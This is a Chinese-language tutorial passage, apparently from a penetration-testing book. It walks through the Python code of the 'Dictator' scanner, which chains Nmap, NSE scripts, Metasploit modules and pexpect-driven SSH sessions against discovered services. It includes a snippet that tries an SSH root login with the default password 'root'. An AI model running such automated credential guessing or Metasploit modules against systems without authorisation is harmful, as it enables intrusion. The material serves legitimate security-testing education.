一旦选择了项目 ID,代码就会读取数据库表 IPtable_history,显示开放端口和默认配置,这指的是开放端口和相关脚本(取决于服务名称)。用户可以重新配置扫描结果,包括手动添加任何被忽略的开放端口或删除任何显示为开放但实际上不可访问的条目。一旦用户重新配置了结果,我们就可以运行服务扫描了。应该注意,如果用户发现端口扫描结果都正确,可以跳过重新配置步骤。

扫描活动结束后,我们将把所有结果保存在我们的 MySQL 数据库表中。在服务扫描的情况下,根据发现的服务,我们将得到一个配置好的脚本列表,如果找到特定的服务,我们需要执行这些脚本。我们使用一个 JSON 文件来映射服务和相应的要执行的脚本。

在端口扫描的情况下,用户将收到端口扫描结果,并有选择重新配置结果(以减少误报)。最终配置设置后,将开始服务扫描。逻辑是从数据库中逐个选择一个主机,并根据发现的服务,从 JSON 文件中读取适当的脚本,并为该特定主机执行它们。最后,在执行脚本后,结果应保存在数据库中。这将持续到所有主机都扫描其服务为止。最后,将生成一个包含格式化结果和 POC 截图的 HTML 报告。以下截图显示了如何配置 JSON 文件以执行脚本:

从前面的截图可以看出,JSON 文件中包含各种类别的命令。Metasploit 模板包含用于执行 Metasploit 模块的命令。单行命令用于执行 NSE 脚本以及所有非交互式的模块和脚本,可以用单个命令触发。其他类别包括interactive_commandssingle_line_sniffing(需要在执行脚本的同时嗅探流量)。JSON 文件的一般模板如下:

key是服务的名称。标题包含文件的描述。method_id是应调用的实际 Python 方法,以调用要执行的外部脚本。请注意,对于单行命令,我们还在args参数下的第一个参数中指定了一个timeout参数,单位为秒。

代码的更详细查看

应该注意到整个代码库可以在 GitHub 上找到github.com/FurqanKhan1/Dictator。我们将查看所有构成服务扫描器核心逻辑的基本代码文件。或者,我创建了一个即插即用的 Kali VM 镜像,其中包含所有必需的安装和开箱即用的代码库。可以从以下 URLdrive.google.com/file/d/1e0Wwc1r_7XtL0uCLJXeLstMgJR68wNLF/view?usp=sharing下载并无忧地执行。默认用户名是PTO_root,密码是PTO_root

让我们概览一下我们将使用的基本文件和方法,来构建我们的服务扫描引擎,使用 Python。

Driver_scanner.py

端口扫描结束后,下一步是执行服务扫描。这个 Python 类调用另一个类driver_meta.py,它接受要执行服务扫描的项目名称/ID,如下面的代码片段所示:

driver_meta.py

这个类显示了端口扫描的默认结果,并给用户重新配置结果的选项。重新配置后,这个类从数据库表中读取要执行服务扫描的项目的主机。对于每个主机,它然后从 JSON 文件中读取要执行的命令,对于要执行的每个命令,它将控制传递给另一个文件auto_comamnds.py

前面的类代表了这个 Python 模块的主要父类。正如我们所看到的,我们已经导入了其他各种 Python 模块,如 JSON、SYS 和 psutil,以便与这个类一起使用。我们还可以看到,我们已经在这个模块中使用了其他类,如auto_commandsAuto_loggerIPexploitsIPtable。这些不是 Python 的内置模块,而是我们自己的类,用于执行我们服务扫描引擎的不同功能。我们将在稍后更详细地讨论这些。

main()

看一下这个类的main()方法,从这里实际上开始执行循环:

main()方法是用于 CLI 版本和 GUI 版本的相同代码片段,因此有许多参数只有在以 GUI 模式调用时才相关。我们将在本节讨论在 CLI 模式下需要的参数。我们可以看到mode变量在main()方法的定义中初始化为c

在下面的屏幕截图中标记为(1)的部分中,我们为texttable() Python 模块初始化了一个对象,该模块将用于在控制台窗口上绘制一个表,以显示可以执行服务扫描的项目 ID。第二部分从数据库中收集了所有已完成的项目,第三部分将检索到的行添加到程序变量中,以在屏幕上显示。随后的代码很简单。在第四部分,功能实际上删除了先前已完成服务扫描的项目的详细信息,以便用户可以用新的服务扫描操作覆盖结果:

第五部分创建了一个名为<project_id>的目录,位于results文件夹下。例如,如果当前项目 ID 是744,则命令init_project_directory()将在<parent_folder_code_base>/results/<744_data>下创建一个子文件夹。所有日志文件、扫描配置和最终报告都将放在这个文件夹中。正如我们已经讨论过的,我们有一个预配置的 JSON 文件,其中包含服务名称和要针对该服务执行的测试用例之间的映射。

以下部分显示了 JSON 文件的配置方式。让我们以http服务为例,看看如何配置要针对 HTTP 服务执行的测试用例:

从前面的分叉中可以看出并分类,名为http的服务的所有测试用例将放在一个 JSON 列表中,其键为CommandsCommands列表中的每个条目都将是一个 JSON 字典,其中包含以下条目:{"args":[],"id":"","method":"","include":"","title":""}。每个字典构成一个要执行的测试用例。让我们试着理解每个条目:

  • argsargs参数实际上是一个包含要针对目标执行的实际命令和 NSE 脚本的列表。要执行的所有命令/脚本被分类为我们将在方法部分中看到的五个不同类别。现在,了解args包含要在 Kali 控制台上用 Python 执行的实际命令就足够了。

  • id:给定要执行的每个命令都有一个唯一的 ID,这使得枚举变得容易。对于所有基于 HTTP 的命令,我们可以看到 ID 是http_1http_2http_3等等。

  • method: 这个特定的条目非常重要,因为它指的是应该调用的实际 Python 方法来执行这个测试用例。这些方法位于一个名为 auto_commands.py 的 Python 文件/模块中,该类别有不同的方法与 JSON 文件进行了映射。通常,要执行的所有脚本被分成五类/类别,并且每个类别都有一个相应的方法与之关联。脚本的类别及其相应的方法如下:

  • Single_line_comamnds_timeout: 所有需要一次性调用并为您生成输出的命令/脚本,而不需要在其间进行任何交互的命令/脚本都属于这一分类。例如,可以执行一个 NSE 脚本,命令如下:nmap -p80 --script <scriptname.nse> 10.0.2.15;它不需要任何其他输入,只需执行并给出最终输出。或者,可以如下调用一个用于执行目录枚举的 Perl 脚本:perl http-dir-enum.pl http://10.0.2.15:8000。同样,所有 Python 脚本、Bash 命令和 Kali 工具,如 Nikto 或 Hoppy,都属于这一类别。所有这些脚本都由一个名为 singleLineCommands_timeout() 的 Python 方法处理,该方法位于 auto_comamnds.py 模块中。需要注意的是,所有这些脚本还需要一个额外的 timeout 参数。有时单个脚本由于某些原因而挂起(主机可能无响应,或者可能遇到未经测试的意外情况),脚本的挂起将导致队列中的其他脚本处于等待状态。为了解决这种情况,我们在 args[] 列表中指定一个阈值参数作为第一个参数,这是我们希望脚本执行的最长时间(以秒为单位)。因此,从先前的配置中,我们可以看到为 ID 为 http_5 的 NSE 脚本指定了 500 秒的超时时间。如果脚本在 500 秒内未执行完毕,操作将被中止,并执行队列中的下一个脚本。

  • General_interactive: 除了需要执行单行命令并执行的脚本外,我们还有其他需要在执行后进行一些交互的 Bash 命令、Kali 工具和开源脚本。一个典型的例子是 SSH 到远程服务器,通常我们需要传递两组命令。这可以一次完成,但为了更好地理解,让我们举个例子:

  • ssh root@192.168.250.143 [Command 1]

  • password:<my_password> [Command 2]

另一个例子可能是工具,如 SQLmap 或 w3af_console,需要一定程度的用户交互。请注意,通过这种自动化/扫描引擎,我们可以通过自动调用 Python 来解决脚本的问题。所有需要交互的脚本或测试用例都由一个名为 general_interactive() 的方法处理,该方法位于 Python 模块 auto_comamnds.py 中。

    • General_commands_timeout_sniff: 有许多情况下,我们需要执行一个脚本或一个 Bash 命令,同时我们希望 Wireshark 在接口上嗅探流量,以便我们可以找出凭据是否以明文传递。在执行此类别中的脚本时,流量必须被嗅探。它们可以是单行脚本,如 NSE,也可以是交互式命令,如 ssh root@<target_ip> 作为第一个命令,password:<my_password> 作为第二个命令。所有需要这种调用的脚本都由 Python 方法 generalCommands_Tout_Sniff() 处理,该方法同样位于 auto_comamnds.py 模块中。
  • Metasploit_Modules:这是执行和处理所有 Metasploit 模块的类别。每当我们需要执行任何 Metasploit 模块时,该模块(无论是辅助还是利用)都将放置在此分类中。执行委托的方法称为custom_meta(),放置在auto_commands.py下。

  • HTTP_BASED:最终类别包含所有需要在目标上发布 HTTP GET/POST 请求进行测试的测试用例,并且这些情况由名为http_based()的方法处理,该方法再次放置在auto_commands.py模块中。

  • include**: **include参数有两个值:TrueFalse)如果我们不希望将测试用例/脚本包含在要执行的测试用例列表中,我们可以设置include=False。在选择扫描配置文件时,此功能非常有用。有时我们不希望在目标上运行耗时的测试用例,例如 Nikto 或 Hoppy,并且更喜欢仅运行某些强制性检查或脚本。为了具有该功能,引入了包含参数。我们将在查看我们的扫描仪的 GUI 版本时进一步讨论这一点。

  • title:这是一个信息字段,提供有关要执行的基础脚本的信息。

现在我们对将加载到我们的self.commandsJSON类变量中的 JSON 文件有了很好的理解,让我们继续进行我们的代码。

突出显示的部分(6)读取我们的all_config_file程序变量中的 JSON 文件,最终进入self.commandsJSON类变量。突出显示的代码部分(7),(8)(9)加载要与扫描一起使用的扫描配置文件:

默认情况下,我们的代码的命令行版本的扫描配置文件是强制性配置文件。该配置文件基本上包含应针对目标执行的所有测试用例;它只删除了一些耗时的测试用例。但是,如果我们希望更改mandatory_profile的定义,以添加或减去测试用例,我们可以编辑mandatory.json文件,该文件位于与我们的代码文件driver_meta.py相同的路径上。

以下是mandatory.json文件中为http服务存在的条目:

突出显示的部分(9)将加载项目 ID744的端口扫描获得的所有结果,结果将保存在数据库表IPtable_history中,以下屏幕截图给出了将加载的记录的想法:

我们可以从前面的屏幕截图中看到,基本上有三条记录对应于我们的 ID744的扫描。表列的模式是(record_id,IP,port_range,status,project_id,Services_detected[CSV_format])

后端执行的实际查询如下:

返回的结果将是一个可以迭代的列表。第一个内部列表的第 0 个索引将包含以 CSV 格式加载的检测到的服务。格式将是(主机;协议;端口;名称;状态;产品;额外信息;原因;版本;配置;cpe),可以从前面的屏幕截图中验证。所有这些信息将放在results_列表中。

在第(10)部分中,如下片段所示,我们正在遍历results_列表,并将字符串数据拆分为新行\n。我们进一步将返回的列表拆分为,最后将所有结果放在一个列表lst1 []中:

对于当前示例,在第(11)部分之后,lst1将包含以下数据:

lst1=[
[10.0.2.15,tcp,22,ssh,open,OpenSSH,protocol 2.0,syn-ack,OpenSSH-7.2p2 Debian 5,10,cpe:/o:linux:linux_kernel],                                                                    [10.0.2.15,tcp,80,http,open,nginx,,syn-ack,nginx-1.10.2,10,cpe:/a:igor_sysoev:nginx:1.10.2],
  [10.0.2.15,tcp,111,rpcbind,open,,RPC #100000,syn-ack,-2-4,10,],
  [10.0.2.15,tcp,443,https,open,nginx,,syn-ack,nginx-1.10.2,10,cpe:/a:igor_sysoev:nginx:1.10.2],
  [10.0.2.15,tcp,8000,http,open,nginx,,syn-ack,nginx-1.10.2,10,cpe:/a:igor_sysoev:nginx:1.10.2],
  [10.0.2.15,tcp,8002,rtsp,open,,,syn-ack,-,10,]
]

因此,lst1[0][0]将给我们10.0.2.15lst1[2][2]=111等等。

在代码的第(12)节中,我们正在按服务类型对lst1中的数据进行排序。我们声明了一个字典lst={},并希望根据它们的服务类型对所有主机和端口进行分组,以便第(12)(13)节的输出如下:

lst = {
"ssh":[[10.0.2.15,22,open,OpenSSH-7.2p2 Debian 5;10]],
"http":[[10.0.2.15,80,open,nginx-1.10.2],[10.0.2.15,8000,open,nginx-1.10.2]],
"rcpbind":[[10.0.2.15,111,open,-2-4,10]],
"https":[[10.0.2.15,443,open,nginx-1.10.2]],
"rtsp":[[10.0.2.15,8002,open,-]]
}

在第(15)节中,ss = set(lst_temp).intersection(set(lst_pre)),我们对包含字典键的两个结构进行了交集运算。一个结构包含来自字典lst的键,该字典包含我们的端口扫描程序发现的所有服务。另一个包含从预配置的 JSON 文件中加载的键。这样做的目的是让我们看到所有已映射测试用例的发现服务。所有已发现和映射的服务键/名称都放在列表SS中,代表要扫描的服务。

在第(16)节中,ms=list(set(lst_temp) - set(lst_pre)),我们正在比较未在 JSON 文件中配置的服务与发现的服务。我们的 JSON 文件在常见服务方面非常详尽,但仍然有时 Nmap 可能会在端口扫描期间发现未在 JSON 文件中预先配置的服务。在本节中,我们试图识别 Nmap 发现但在我们的 JSON 文件中没有针对它们映射测试用例的服务。为此,我们对这两种结构进行了集合差异。我们将标记这些服务为new,用户可以对其进行配置测试用例,或者离线分析以执行自定义测试用例。所有这些服务将被放在一个名为ms的列表中,其中ms代表未发现的服务

在代码片段中显示的第(17)(18)节中,我们再次将两个未发现和映射的服务重新构建为两个不同的字典,格式如前所述:{"ssh":[[10.0.2.15,22,open,OpenSSH-7.2p2 Debian 5;10]],...}。发现的服务将放在dic字典中,然后放入self.processed_services类变量中。未发现的服务将放入ms_dic,最终放入self.missed_services中。

最后,在第(19)节中,我们调用parse_and_process()方法,该方法将调用显示发现和未发现服务的逻辑,并为用户提供必要时执行任何重新配置的选项。

重新配置完成后,parse_and_process()将调用另一个方法launchExploits(),该方法将实际从 JSON 配置文件中读取method_name,用发现的适当主机 IP 和端口替换<host><port>,并将控制传递给auto_command.py模块的相关方法(根据读取的method_name)。

一旦对所有发现的主机和端口执行了所有测试用例,就该生成包含屏幕截图和相关数据的报告了。这部分由第(20)(21)节处理,如下面的代码片段所示:

解析和处理()

在接下来的部分中,我们将了解parse_and_process()方法的工作原理。值得注意的是,对于 CLI 版本,mode 变量的值为c,我们将只关注通向mode=c的代码部分。代码的其他分支将用于 GUI 模式,如果您想了解更多,可以自由阅读。

在第(1),(2),(3)(4)节中的parse_and_process()方法开始执行,通过迭代self.missed_servicesself.processed_services。这里的迭代思想是将这些发现的服务、主机、端口和command_template放入不同的数据库表IPexploits。我们将稍后讨论command_template。对于当前的示例,self.processed_services将包含以下数据:

self.processed_services= {
"ssh":[[10.0.2.15,22,open,OpenSSH-7.2p2 Debian 5;10]],
"http":[[10.0.2.15,80,open,nginx-1.10.2],[10.0.2.15,8000,open,nginx-1.10.2]],
"rcpbind":[[10.0.2.15,111,open,-2-4,10]],
"https":[[10.0.2.15,443,open,nginx-1.10.2]],
}
self.missed_services ={
"rtsp":[[10.0.2.15,8002,open,-]]
}

这是因为除了rtsp之外,所有发现的服务都在 JSON 文件中映射了。

代码的第(5)部分遍历此字典,并尝试获取诸如getTemplate(k)的内容,其中k是当前正在迭代的服务。getTemplate()是一个读取 JSON 文件并返回要执行的测试用例的命令 ID 的方法。

以下示例将说明这一点。假设getTemplatehttp上被调用,如getTemplate('http')。这将返回以下结构:

entries= {"Entries": {"http_5": [true, "0", "0"], "http_trace_1": [true, "0", "0"], "http_trace_2": [true, "0", "0"], "http_trace_3": [true, "0", "0"], "http_banner_1": [true, "0", "0"], "http_banner_2": [true, "0", "0"], "http_robots_1": [true, "0", "0"], "http_robots_2": [true, "0", "0"], "http_headers_1": [true, "0", "0"], "http_headers_2": [true, "0", "0"], "http_methods_1": [true, "0", "0"], "http_methods_2": [true, "0", "0"], "http_web_dev_1": [true, "0", "0"], "http_web_dev_2": [true, "0", "0"]}}

结构如下:{"http_5":['include_command,commands_executed,results_obtained]}。如果http_5是键,那么值是一个包含三个条目的列表。第一个条目表示命令是要包含还是执行(取决于所选择的扫描配置文件)。第二个条目保存在终端上执行的实际命令。最初它设置为 0,但一旦执行,http_50将被替换为nmap -Pn --script=banner.nse -p 80 10.0.2.15。第三个0实际上将被执行命令产生的结果所替换。

代码entries=getTemplate(k)将为每种服务类型返回一个类似上述的条目。我们准备一个名为rows的列表,其中放置主机、端口、服务、开/关状态和条目/command_template。执行该活动的代码片段是self.rows.append((self.project_id, str(h_p[0]), str(h_p[1]), str(k), 'init', entries, service_status, str(h_p[2]), str(h_p[3])))

type=new的服务或未映射的服务将由代码部分(2)处理。这将在我们的示例条目中放置以下内容:

entries={"Entries": {"new": true, "unknown": false}}

代码部分(6)检查诸如if(is_custom==True)之类的内容。这意味着有一些服务可以与其他服务多次使用。例如,ssl的测试用例可以与https一起使用,如[http +ssl]ftps作为[ftp + ssl]ssh作为[ssh + ssl]。因此,诸如httpsftps等服务被标记为custom,当发现https时,我们应该加载httpssl的两个模板。这就是在第(6)部分中所做的。

在第(6)部分结束时,self.rows将为所有主机和端口的所有服务类型保存类似[project_id,host,port,service,project_status,command_template,service_type,port_state,version]的条目。在我们当前的示例中,它将为所有服务类型保存六行。

在第(7)部分,self.IPexploit.insertIPexploits(self.rows),我们一次性将self.rows的所有数据推送到后端数据库表IPexploits中。必须记住,后端数据库中command_template/entries的数据类型也标记为 JSON。因此,我们需要 MySQL 版本 5.7 或更高版本,支持 JSON 数据类型。

执行此命令后,我们当前项目744的后端数据库将如下所示:

必须注意的是,我没有加载command_template(在后端命名为Exploits),因为数据会变得混乱。让我们尝试加载两个服务的模板,如rtspssh

同样,我们还将有httpsslrcpbind的条目。应该注意的是,我们预计表中有六行,但实际上有七行。这是因为https服务被分为两类httpssl,因此,在端口443上,我们不是有https,而是有两个条目:http-443ssl-443

在下一部分,项目的默认配置(主机、端口、要执行的测试用例)从同一数据库表中获取,并显示给用户。第八部分调用代码使用launchConfiguration()

launchConfiguration()

在这一节中,让我们来看一下launchConfiguration()方法,它加载默认配置,并且还允许用户进行微调或重新配置。此外,它调用了文件的中心逻辑,实际上会启动脚本执行,即launchExploits()

对于 CLI 版本,launchExploits()是由launchConfiguiration()调用的。然而,在 GUI 版本中,launchExploits()只能由parse_and_process()方法调用。有关此方法的更多信息可以从前面的截图中看到。

以下代码片段的第 1 节加载了放置在当前项目的IPexploits表中的所有细节。我们已经看到了将被拉出并放置在IPexploits列表下的七行。请记住,在后端表中,我们只有命令 ID,例如http_1http_2放在Template下,但是为了显示所选的配置和要执行的命令,我们拉出实际的脚本,它将映射到http-1等等。这就是第 2 节在做什么。它读取 JSON 文件以获取实际命令。

在第 3 节中,我们将拉取的细节放在tab_draw变量中,它将在控制台窗口上绘制一个表,并表示加载的配置:

第 4 节是不言自明的;我们将所有拉取的细节放在一个名为config_entry的字典中。这将被保存到一个文件中,因为最终选择的配置与扫描将被启动:

最后,在第 6 节下,我们调用launchExploits()。如果需要执行重新配置,第 7 节调用self.reconfigure()方法,该方法很简单,可以从代码库或以下 URL https://github.com/FurqanKhan1/Dictator/blob/master/Dictator_service/driver_meta.py 中找到:

第 5 节将如下显示屏幕上的配置:

launchExploits()

接下来的部分将讨论launchExploits()方法。

以下代码的第 9 节加载了放置在当前项目的IPexploits表中的所有细节。我们已经看到了将被拉出并放置在IPexploits_data列表下的七行。我们不需要关注if(concurrent=False)else块,因为那是指在 GUI 版本中调用的代码。现在,让我们只考虑if块,因为对于 CLI 版本,concurrent=False。接下来,我们遍历IPexploits_data: "for exploit in IPexploits_data:"结构:

在第 10 节中,我们从当前正在迭代的服务的 JSON 结构中加载细节。请记住,self.commandsJSON保存了整个 JSON 文件数据,我们在其中映射了服务和测试用例。然后,我们加载该特定服务的所有命令和测试用例,并将它们放在一个名为meta的列表下。例如,如果service = http,那么 meta 将包含[http_1,http_2,http_3,http_4,http_5 ...]。现在,请记住,在最后一节中,对于七条记录中的每条记录,project_status都是init。在下一行(第 11 节),我们将当前记录的(host,port,service,record_id)组合的状态更新为processing。因为我们已经选择了执行此服务,我们希望更改数据库状态。

在第 12 节中,我们加载了为项目选择的扫描配置所执行的特定服务用例的所有启用服务用例。

还有一些项目/扫描可能需要一些用户定义的参数,例如要使用的用户名、密码等。所有这些参数都放在一个Project_params.json文件中,第(13)节将要执行的命令中的项目特定用户名和密码替换为适用的项目特定用户名和密码:

Self.commandObj保存了auto_commands.pl类的对象。第(14)节初始化了与要执行的当前记录集相关的类的实例变量(主机、端口、服务等)。正如我们之前讨论的,JSON 文件中的args参数包含要执行的实际命令。我们将args的值加载到程序变量 args 中。我们知道,这是一个包含命令的列表。我们遍历这个列表,并将诸如<host>之类的条目替换为要扫描的实际 IP,将<port>替换为要扫描的实际端口。我们将逐个为所有测试用例重复这个活动。对于当前示例,如果我们假设http是要扫描的当前服务,代码将遍历所有命令[http_1,http_2..]。最后,http_5和端口80final_args列表将被指定为[500, nmap -Pn --script=banner.nse -P80 10.0.2.5]

在第(16)节中,我们实际上是从auto_comamnds.py模块中调用适当的方法。让我们思考一下这是如何工作的。getattr(object, name[, default])返回object的命名属性的值。如果字符串是对象属性之一的名称,则结果是该属性的值。例如,getattr(x,'Method_name')等同于x. Method_name

正如我们已经讨论过的,要执行脚本/模块的方法的名称在 JSON 文件中预先配置,并且在前面的代码中它被读入变量方法。func = getattr(self.commandObj,method_name)将返回该方法的引用,并且可以被调用,比如func(args)。这就是第(18)节中所做的:func(final_args,grep_commands)。当执行该方法时,它将自动将结果保存在数据库中。一旦一个服务的所有测试用例都执行完毕,我们希望将该行的状态从processing更新为complete,这就是第(20)节所做的。相同的操作会重复,直到所有主机的所有发现的服务都被扫描。让我们看一下当执行一个测试用例时数据库表是什么样子的。我们将从不同的项目 ID 中取一些例子:

从前面的屏幕截图可以看出,项目 ID 736 的这一行在服务扫描之前的数据如下:Pid=736,Service='ssl',Exploits={"Entries" :{"ssl_1":[true,0,0]} ... }。然而,一旦执行结束,第一个 0 将被一个包含执行的命令的列表所替换。第二个 0 的位置,我们有最终结果的字符串形式。

自动 _commands.py

在下一节中,我们将看一下实际工作的方式,即调用的方法如何自动化服务扫描的过程。我们将探索 Python 模块或文件auto_commands.py。必须记住,在本节中,我们将涵盖该类的基本方法。除此之外,还有一些其他方法是为特定用例定制的。您可以在 GitHub 存储库的确切代码文件中查看https://github.com/FurqanKhan1/Dictator/blob/master/Dictator_service/auto_commands.py。让我们首先看一下这个类是什么样子的:

我们导入的模块之一是pexpect。在接下来的部分中,让我们试着理解这个模块的作用以及它为什么重要。

Pexpect

Pexpect 是一个类似 Unix 的 expect 库的 Python 模块。这个库的主要目的是自动化交互式控制台命令和实用程序。Pexpect 是一个纯 Python 模块,用于生成子应用程序、控制它们,并响应其输出中的预期模式。Pexpect 允许您的脚本生成子应用程序并控制它,就像一个人在键入命令一样。Pexpect 可用于自动化交互式应用程序,如 SSH、FTP、passwd、telnet 等。

我们将使用 Pexpect 来使用 Python 自动化 Metasploit,并且还将调用需要用户交互的终端自动化的各种用例。必须注意的是,还有另外两种用 Python 代码调用 Metasploit 的方法:"msfrpc",它调用了建立在 Metasploit 之上的服务 API,以及".rc"脚本。然而,我们观察到使用 Pexpect 模块的成功率最高。

Pexpect 模块有一个 spawn 类,用于生成任何终端命令、进程或工具。生成的工具应作为代码的子进程生成。

spawn 类构造函数的语法如下:

pexpect.spawn(command, args=[], timeout=30, maxread=2000, searchwindowsize=None, logfile=None, cwd=None, env=None, ignore_sighup=False, echo=True, preexec_fn=None, encoding=None, codec_errors='strict', dimensions=None, use_poll=False)

spawn类构造函数有许多参数,但强制参数是commandcommand是我们希望在 Unix 终端上执行的实际命令。如果我们希望传递参数给调用的命令,我们可以在命令本身中指定参数,用空格分隔,或者将参数作为 Python 列表传递到第二个参数args下。第三个参数是timeout,默认为 30 秒。这意味着如果在 30 秒内未生成进程,整个操作将被终止。如果我们的服务器负载很高,或者我们有性能问题,我们可以增加timeout参数。以下代码表示如何使用 Pexpect 调用 SSH 会话:

child = pexpect.spawn('/usr/bin/ftp')
child = pexpect.spawn('/usr/bin/ssh user@example.com')

我们还可以使用参数列表构造它,如下所示:

child = pexpect.spawn('/usr/bin/ftp', [])
child = pexpect.spawn('/usr/bin/ssh', ['user@example.com'])

当在终端上执行命令时,会创建一个会话,并通过返回的进程进行控制,该进程被放置在child变量下,如前面的示例所示。

pexpect的另一个重要类是expect。如其名称所示,Expect 规定了在成功执行spawn命令时可能产生的预期输出或输出。例如,如果spawn命令是pexpect.spawn('/usr/bin/ssh',['user@example.com']),我们通常期望 ssh 服务器要求我们输入密码。从先前指定的命令中可能期望的所有可能模式或字符串都作为参数传递给pexpect.expect类,如果任何模式匹配,我们可以根据匹配定义要发送到终端的下一个命令。如果没有匹配,我们可以中止操作并尝试调试。

以下语法查找流,直到匹配模式。模式是重载的,可能有多种类型。模式可以是字符串类型、EOF、编译的正则表达式,或者是任何这些类型的列表:

pexpect.expect(pattern, timeout=-1, searchwindowsize=-1, async_=False, **kw)

如果传递了模式列表,并且有多个匹配项,则流中选择第一个匹配项。如果此时有多个模式匹配,则选择模式列表中最左边的模式。例如:

# the input is 'foobar'
index = p.expect(['bar', 'foo', 'foobar'])
# returns 1('foo') even though 'foobar' is a "better" match

child.sendLine(command)是一个方法,它接受要发送到终端的命令,假设一切都按预期模式工作:

child = pexpect.spawn('scp foo user@example.com:.')
child.expect('Password:')
child.sendline(mypassword)

让我们通过使用 Pexpect 进行 SSH 自动化的小例子来更清楚地说明问题:

child = pexpect.spawn(ssh root@192.168.250.143)
i=child.expect(['.*Permission denied.*', 'root@.* password:.*','.* Connection refused','.*(yes/no).*',pexpect.TIMEOUT,'[#\$]',pexpect.EOF],timeout=15)
if(i==1):
       child.sendline('root')
       j=child.expect(['root@.* password:.*', '[#\$] ','Permission denied'],timeout=15)
       if(j==1):   
           self.print_Log( "Login Successful with password root")
       else:
           self.print_Log("No login with pw root")

在前面的代码中,我们只考虑成功的情况。必须注意,如果终端期望输入列表的第 1 个索引'root@.* password:.',那么我们将使用sendline方法将密码作为 root 传递。注意'root@.* password:.'表示 root 后面的任何 IP 地址,因为它是一个正则表达式模式。根据匹配的字符串/正则表达式模式的索引,我们可以制定逻辑来指示接下来应该做什么。

自定义 _meta()

现在让我们来看一下custom_meta方法,它负责处理所有的 Metasploit 模块。它借助 Pexpect 库完成这一工作。

正如在以下片段的第(1)部分中所示,我们使用pexpect.spawn在我们的终端上调用"msfconsole -q"。这将在虚拟终端上调用一个 Metasploit 进程,并将该进程的控制返回给声明为 child 的变量:

每当我们调用 msfconole 时,如果没有错误,我们将得到一个 Metasploit 提示符,如msf>。这就是我们在第(2)部分中指定的,[.*>, .., ..],作为第 0 个索引。这里暗示的是,我们期望任何>之前的内容都能成功执行,因此我们将传递运行 Metasploit 模块所需的命令。如果 child.expect 返回的索引为 0,我们将遍历 JSON 文件的命令列表,并将每个命令发送到我们的 Metasploit 控制台。对于我们的 projectID 744http服务,我们配置了一些 Metasploit 模块。其中一个如下所示:

在前面的 JSON 结构的args键中的任何内容都将作为列表传递给custom_meta方法,并存储在 commands 列表中。在第(3)部分,我们遍历 commands 列表,并且,正如我们之前学过的那样,<host><port>实际上将被实际主机和正在扫描的端口替换。

在这一部分中,每个命令都会使用child.sendline(cmd)命令逐个发送到 msfconsole 终端。发送每个命令后,我们需要检查控制台是否符合我们的预期,也就是说它应该包含msf>提示符。我们调用pexpect.expect并将".*>"指定为我们输入列表的第 0 个索引。注意,索引 0 定义了我们继续的成功标准。只要我们得到与索引 0 匹配的输出,我们就继续,如第(4)部分所指定的那样。如果我们在任何时候观察到除索引 0 之外的任何内容(超时或文件结束-EOF),我们意识到某些事情并没有按预期发生,因此我们将布尔变量设置为 false:

当我们退出这个迭代循环时,我们转到第(9)部分,检查 run == True。如果为真,我们假设所有参数都已正确设置以执行 Metasploit 模块。我们使用sendline发出'run'命令,如第(10)部分所示。

最后,如果一切顺利,模块成功执行,那么现在是收集结果的时候了。在第(11)部分,如果一切如预期那样进行,我们将在exploits_results变量中收集结果,并在commands_launched变量中收集命令。如果出现错误,我们将在第(12)部分中收集错误详情:

最后,在第(14)部分,我们通过调用saveDetails()方法将结果保存在数据库表中。必须注意,结果将以与之前讨论的相同的 JSON 结构保存在"http_headers_2"键下,这是脚本的 ID。saveDetails方法的定义如下。请注意,它将被应用于我们将讨论的所有不同方法:

(1)部分调用了放置在类文件IPexploits.py中的方法,该方法将在数据库中插入详细信息。整个代码文件可以在 GitHub 存储库中找到。

singleLineCommands_Timeout()

在本节中,我们将看到singleLineCommands_Timeout方法的定义。这部分代码解释了线程和多进程的强大之处。我们之前学习了所有概念,但在本节中,我们将看到如何应用线程和进程的概念来解决现实世界的问题。

手头的问题是执行所有可以通过在控制台上输入一行命令来执行的命令和脚本的所有类别。这些产生输出。这可能看起来很简单,但有一个问题。请记住,我们讨论过脚本的执行可能因为某些不可预见的原因而需要很长时间,我们应该设计我们的解决方案,以便所有可能出现这种情况的脚本类别都有一个关联的超时。在这里,我们将使用线程来实现超时功能。线程和进程的组合将帮助我们实现我们的目标。

核心思想是调用一个线程并将其绑定到一个方法"x"。我们在调用的线程上调用join()join()的持续时间将是 JSON 文件中指定的超时时间。正如我们之前学过的,当从主线程'm'上的线程't'上调用join()方法时,将导致主线程'm'等待,直到't'完成其执行。如果我们在主线程'm'上的线程't'上调用join(20),这将导致主线程'm'等待 20 秒,直到't'完成。20 秒后,主线程将继续执行并退出。我们可以使用相同的类比来实现我们的任务:

(1)(2)部分,我们正在创建一个thread对象,并将其附加到"execute_singleLine"方法。应该注意的是,有时我们希望从最终输出中提取出一些内容,这就是为什么我们要检查grep参数是否设置。如果设置了,我们将grep字符串作为参数发送到线程方法;否则,我们只发送方法应该调用的控制台脚本/命令。现在我们不需要担心 grep 条件。

(3)部分,我们可以看到我们正在收集超时参数,该参数始终位于命令列表的索引 0 处,或者位于 JSON 文件的 args 的第 0 个索引处。我们在线程上调用 start 方法,该方法将调用"execute_singleLine"方法,并将要执行的命令作为参数传递。之后,我们在调用的线程上调用join(timeout),代码将在那里暂停,直到超时指定的秒数为止。在(3)部分之后不会执行任何行,直到"execute_singleLine"方法完成或时间超过超时。在继续之前,让我们更仔细地看看"execute_singleLine"方法中发生了什么:

"execute_singleLine()"方法的(1)部分所述,我们正在利用 Python 的 subprocess 模块来生成一个子进程。进程将由cmd变量中的命令指定。因此,如果cmd包含"nmap -Pn --script=banner.nse -p 80 192.168.250.143",则相同的命令将在终端上执行,这只是操作系统级别的一个进程。进程类的实例将被返回并放置在self.process类变量下。该实例具有各种属性,如"id""is_alive()"等,这些属性给我们提供了有关进程状态的信息。

由于我们确定了传递给进程的参数(因为它们不是直接来自用户),我们可以继续进行。但是,最好使用shell=False并将参数指定为列表[],或者使用 Python 的shelx实用程序自动将字符串参数转换为列表并使用shell=False

我们希望父进程等待子进程执行,我们也希望子进程将其产生的所有数据返回给父进程。我们可以通过在调用的进程上调用communicate()来实现这一点。communicate()方法将返回一个元组,其中包含来自进程的输出的第 0 个索引和产生的错误的第一个索引。由于我们指定了output=subprocess.PIPEerror=subprocess.PIPE,输出和错误都将通过 OS 管道传输到父进程,这就是我们实现进程间通信的方式。这在第(2)部分中有所强调。

